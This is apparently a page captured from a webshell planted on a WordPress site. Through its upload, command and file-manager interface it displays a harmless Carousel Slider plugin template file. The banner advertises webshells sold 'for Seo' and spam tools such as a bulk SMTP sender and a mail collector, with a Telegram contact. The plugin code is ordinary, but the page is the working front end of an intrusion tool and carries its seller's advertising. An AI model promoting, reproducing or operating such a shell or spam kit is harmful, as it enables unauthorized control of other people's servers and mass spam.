__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace CarouselSlider\Modules\HeroCarousel;

use CarouselSlider\Abstracts\AbstractTemplate;

defined( 'ABSPATH' ) || exit;

/**
 * Template class
 *
 * @package Modules/HeroCarousel
 */
class Template extends AbstractTemplate {

	/**
	 * Get default hero carousel settings
	 *
	 * @return array
	 */
	public static function get_default_settings(): array {
		return wp_parse_args(
			[
				'_slide_type'                  => 'hero-banner-slider',
				'_type_of_slider'              => 'slider',
				// Responsive Settings.
				'_items_portrait_mobile'       => '1',
				'_items_small_portrait_tablet' => '1',
				'_items_portrait_tablet'       => '1',
				'_items_small_desktop'         => '1',
				'_items_desktop'               => '1',
				'_items'                       => '1',
			],
			parent::get_default_settings()
		);
	}

	/**
	 * Get default hero carousel content settings
	 *
	 * @return array
	 */
	protected static function get_content_settings(): array {
		return [
			'slide_height'      => '300px',
			'content_width'     => '80%',
			'content_animation' => 'zoomIn',
			'slide_padding'     => [
				'top'    => '3rem',
				'right'  => '3rem',
				'bottom' => '3rem',
				'left'   => '3rem',
			],
		];
	}

	/**
	 * Hero Slider Content Settings
	 *
	 * @param  int   $index  The index number.
	 * @param  int   $image_id  Image id.
	 * @param  array $args  Additional arguments.
	 *
	 * @return array
	 */
	protected static function get_content( int $index = 0, int $image_id = 0, array $args = array() ): array {
		++$index;
		$settings = [
			// Slide Content.
			'slide_heading'            => 'Slide Heading ' . $index,
			'slide_description'        => 'Slide Description form slide ' . $index,
			// Slide Background.
			'img_id'                   => $image_id,
			'img_bg_position'          => 'center center',
			'img_bg_size'              => 'cover',
			'ken_burns_effect'         => ( $index % 2 ) ? 'zoom-in' : 'zoom-out',
			'bg_color'                 => 'rgba(255,255,255,0.5)',
			'bg_overlay'               => 'rgba(0,0,0,0.5)',
			// Slide Style.
			'content_alignment'        => 'left',
			'heading_font_size'        => 40,
			'heading_gutter'           => '30px',
			'heading_color'            => '#ffffff',
			'description_font_size'    => '20',
			'description_gutter'       => '30px',
			'description_color'        => '#ffffff',
			// Slide Link.
			'link_type'                => 'button',
			'slide_link'               => '',
			'link_target'              => '_self',
			// Slide Button #1.
			'button_one_text'          => 'Button ' . $index,
			'button_one_url'           => 'https://sayfulislam.com',
			'button_one_target'        => '_self',
			'button_one_type'          => 'stroke',
			'button_one_size'          => 'medium',
			'button_one_border_width'  => '2px',
			'button_one_border_radius' => '3px',
			'button_one_bg_color'      => '#00d1b2',
			'button_one_color'         => '#ffffff',
			// Slide Button #2.
			'button_two_text'          => '',
			'button_two_url'           => '',
			'button_two_target'        => '_self',
			'button_two_type'          => 'stroke',
			'button_two_size'          => 'medium',
			'button_two_border_width'  => '2px',
			'button_two_border_radius' => '3px',
			'button_two_bg_color'      => '#00d1b2',
			'button_two_color'         => '#ffffff',
		];

		return wp_parse_args( $args, $settings );
	}

	/**
	 * Create hero carousel with random images
	 *
	 * @param  string $slider_title  The slider title.
	 * @param  array  $args  Additional arguments.
	 *
	 * @return int The post ID on success. The value 0 on failure.
	 */
	public static function create( string $slider_title = '', array $args = [] ): int {
		if ( empty( $slider_title ) ) {
			$slider_title = 'Hero Carousel';
		}

		$post_id = self::create_slider( $slider_title );

		if ( ! $post_id ) {
			return 0;
		}

		// Update General Settings.
		$data = wp_parse_args( $args, self::get_default_settings() );
		foreach ( $data as $meta_key => $meta_value ) {
			update_post_meta( $post_id, $meta_key, $meta_value );
		}

		// Update Content settings.
		update_post_meta( $post_id, '_content_slider_settings', self::get_content_settings() );

		// Update Content.
		$images     = self::get_images();
		$images_ids = wp_list_pluck( $images, 'id' );
		$images_ids = array_splice( $images_ids, 0, 5 );

		$content = array();
		foreach ( $images_ids as $index => $images_id ) {
			$content[] = self::get_content( $index, $images_id );
		}

		$content = array_values( $content );

		update_post_meta( $post_id, '_content_slider', $content );

		return $post_id;
	}
}

Filemanager

Name Type Size Permission Actions
Admin.php File 29.23 KB 0775
Ajax.php File 3.94 KB 0775
Controller.php File 24.78 KB 0775
Helper.php File 2.89 KB 0775
Item.php File 16.24 KB 0775
Module.php File 2.72 KB 0775
Setting.php File 1.51 KB 0775
Template.php File 4.51 KB 0775
View.php File 1.85 KB 0775
Filemanager